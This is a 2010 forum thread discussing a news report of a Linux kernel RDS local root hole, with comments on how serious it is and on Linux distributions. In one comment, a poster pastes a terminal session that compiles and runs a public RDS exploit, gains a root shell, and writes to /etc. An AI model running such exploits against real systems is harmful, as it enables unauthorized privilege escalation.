Free Republic
Browse · Search
News/Activism
Topics · Post Article

Skip to comments.

Hole in Linux kernel provides root rights
The H Online ^ | 20 October 2010 | Staff

Posted on 10/22/2010 6:09:25 AM PDT by ShadowAce

click here to read article


Navigation: use the links below to view more comments.
first 1-2021-4041-60 next last

1 posted on 10/22/2010 6:09:35 AM PDT by ShadowAce
[ Post Reply | Private Reply | View Replies]

To: rdb3; Calvinist_Dark_Lord; GodGunsandGuts; CyberCowboy777; Salo; Bobsat; JosephW; ...

2 posted on 10/22/2010 6:10:10 AM PDT by ShadowAce (Linux -- The Ultimate Windows Service Pack)
[ Post Reply | Private Reply | To 1 | View Replies]

To: ShadowAce
"...once they have broken into the system."

Sooo... once you break in then you can own it. But you still have to break in first, right?

3 posted on 10/22/2010 6:14:23 AM PDT by D Rider
[ Post Reply | Private Reply | To 1 | View Replies]

To: ShadowAce

More reasons why my abacus is still the only virus free computational device I own.


4 posted on 10/22/2010 6:15:13 AM PDT by I cannot think of a name
[ Post Reply | Private Reply | To 1 | View Replies]

To: D Rider

That was what I understand, also. Doesn’t seem quite as dangerous as they’re making it out to be.


5 posted on 10/22/2010 6:16:12 AM PDT by ShadowAce (Linux -- The Ultimate Windows Service Pack)
[ Post Reply | Private Reply | To 3 | View Replies]

To: ShadowAce

I wish I knew more about how Puppy Linux works, I can’t even unzip an RMP file with unrmp.pet

Maybe I should burn another ISO with a different Linux?


6 posted on 10/22/2010 6:19:37 AM PDT by GeronL (http://libertyfic.proboards.com <--- My Fiction/ Science Fiction Board)
[ Post Reply | Private Reply | To 1 | View Replies]

To: ShadowAce

Bookmark


7 posted on 10/22/2010 6:23:51 AM PDT by advance_copy (Stand for life or nothing at all)
[ Post Reply | Private Reply | To 1 | View Replies]

To: GeronL

If the documentation isn’t helping you, then yeah. I’m much more familiar with the RPM-based distros, like Fedora.


8 posted on 10/22/2010 6:24:19 AM PDT by ShadowAce (Linux -- The Ultimate Windows Service Pack)
[ Post Reply | Private Reply | To 6 | View Replies]

To: ShadowAce

Is that one free too? I’ll google it.


9 posted on 10/22/2010 6:28:51 AM PDT by GeronL (http://libertyfic.proboards.com <--- My Fiction/ Science Fiction Board)
[ Post Reply | Private Reply | To 8 | View Replies]

To: D Rider
Sooo... once you break in then you can own it. But you still have to break in first, right?

Obviously, it's more of an issue on multi-user systems. Hosting systems with shell access would be particularly vulnerable. Thank God it's not a remote exploit.

10 posted on 10/22/2010 6:37:15 AM PDT by zeugma (Ad Majorem Dei Gloriam)
[ Post Reply | Private Reply | To 3 | View Replies]

To: GeronL
Is that one free too? I’ll google it.

Fedora is free. Most stuff works right out of the box, but you'll want to add the rpmfusion repositories to get the best use of it. (for certain codecs and other stuff.)

11 posted on 10/22/2010 6:39:44 AM PDT by zeugma (Ad Majorem Dei Gloriam)
[ Post Reply | Private Reply | To 9 | View Replies]

To: ShadowAce

“Reliable datagram....”?

Isn’t that an oxymoron?


12 posted on 10/22/2010 6:45:02 AM PDT by NVDave
[ Post Reply | Private Reply | To 1 | View Replies]

To: NVDave

Only in UDP.


13 posted on 10/22/2010 6:46:13 AM PDT by ShadowAce (Linux -- The Ultimate Windows Service Pack)
[ Post Reply | Private Reply | To 12 | View Replies]

To: ShadowAce
Their explit works like a freaking charm.

$ gcc linux-rds-exploit.c -o linux-rds-exploit
$ file linux-rds-exploit
linux-rds-exploit: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, not stripped
$ id
uid=500(zeugma) gid=500(zeugma) groups=500(zeugma),1000(shared)
$ touch /etc/deleteme.txt
touch: cannot touch `/etc/deleteme.txt': Permission denied
$ ./linux-rds-exploit
[*] Linux kernel >= 2.6.30 RDS socket exploit
[*] by Dan Rosenberg
[*] Resolving kernel addresses...
 [+] Resolved rds_proto_ops to 0xf89c0654
 [+] Resolved rds_ioctl to 0xf89bb06a
 [+] Resolved commit_creds to 0xc046059f
 [+] Resolved prepare_kernel_cred to 0xc0460410
[*] Overwriting function pointer...
[*] Triggering payload...
[*] Restoring function pointer...
[*] Got root!
sh-4.0# touch /etc/deleteme.txt
sh-4.0# rm /etc/deleteme.txt
sh-4.0# exit
~/Download :)


14 posted on 10/22/2010 6:47:11 AM PDT by zeugma (Ad Majorem Dei Gloriam)
[ Post Reply | Private Reply | To 1 | View Replies]

To: zeugma

Wow. Quite interesting. I wonder how long it will take to get a large company’s servers all patched, so the employees don’t go wandering....


15 posted on 10/22/2010 6:48:59 AM PDT by ShadowAce (Linux -- The Ultimate Windows Service Pack)
[ Post Reply | Private Reply | To 14 | View Replies]

To: ShadowAce

16 posted on 10/22/2010 6:50:39 AM PDT by JoeProBono (A closed mouth gathers no feet - Visualize)
[ Post Reply | Private Reply | To 1 | View Replies]

To: ShadowAce

Youch.


17 posted on 10/22/2010 6:54:08 AM PDT by FourPeas (Pester not the geek, for the electrons are his friends.)
[ Post Reply | Private Reply | To 1 | View Replies]

To: ShadowAce

I’m talking in general - ie, in networking for the last, oh, 40 years, the idea is that datagram service isn’t reliable. You flip it out on the wire, and no guarantee is made of delivery; datagram service is “best effort” delivery.

My first reaction upon reading of “reliable datagram service” was to wonder “Isn’t that what a connection-based protocol is?” You have an indication when you sent the datagram that there was sufficient buffering at the receiver to receive the datagram and all that?

Sigh. Computing hasn’t been the same since we allowed the marketing people to start inventing terms...


18 posted on 10/22/2010 6:56:31 AM PDT by NVDave
[ Post Reply | Private Reply | To 13 | View Replies]

To: ShadowAce
I wonder how long it will take to get a large company’s servers all patched, so the employees don’t go wandering....

Companies don't grant shell access to employees that don't need it.

And, using an exploit like this to get unauthorized root access is grounds for termination at every company I've worked for.

19 posted on 10/22/2010 6:57:51 AM PDT by justlurking (The only remedy for a bad guy with a gun is a good WOMAN (Sgt. Kimberly Munley) with a gun)
[ Post Reply | Private Reply | To 15 | View Replies]

To: NVDave
Isn’t that an oxymoron?

If you are talking about UDP, yes. RDP is a different protocol.

What is RDS and why did we build it?

Reliable Datagram Sockets (RDS) provide in order, non-duplicating, highly available, low overhead, reliable delivery of datagrams between hundreds of thousands of non-connected endpoints.

20 posted on 10/22/2010 7:01:35 AM PDT by justlurking (The only remedy for a bad guy with a gun is a good WOMAN (Sgt. Kimberly Munley) with a gun)
[ Post Reply | Private Reply | To 12 | View Replies]


Navigation: use the links below to view more comments.
first 1-2021-4041-60 next last

Disclaimer: Opinions posted on Free Republic are those of the individual posters and do not necessarily represent the opinion of Free Republic or its management. All materials posted herein are protected by copyright law and the exemption for fair use of copyrighted works.

Free Republic
Browse · Search
News/Activism
Topics · Post Article

FreeRepublic, LLC, PO BOX 9771, FRESNO, CA 93794
FreeRepublic.com is powered by software copyright 2000-2008 John Robinson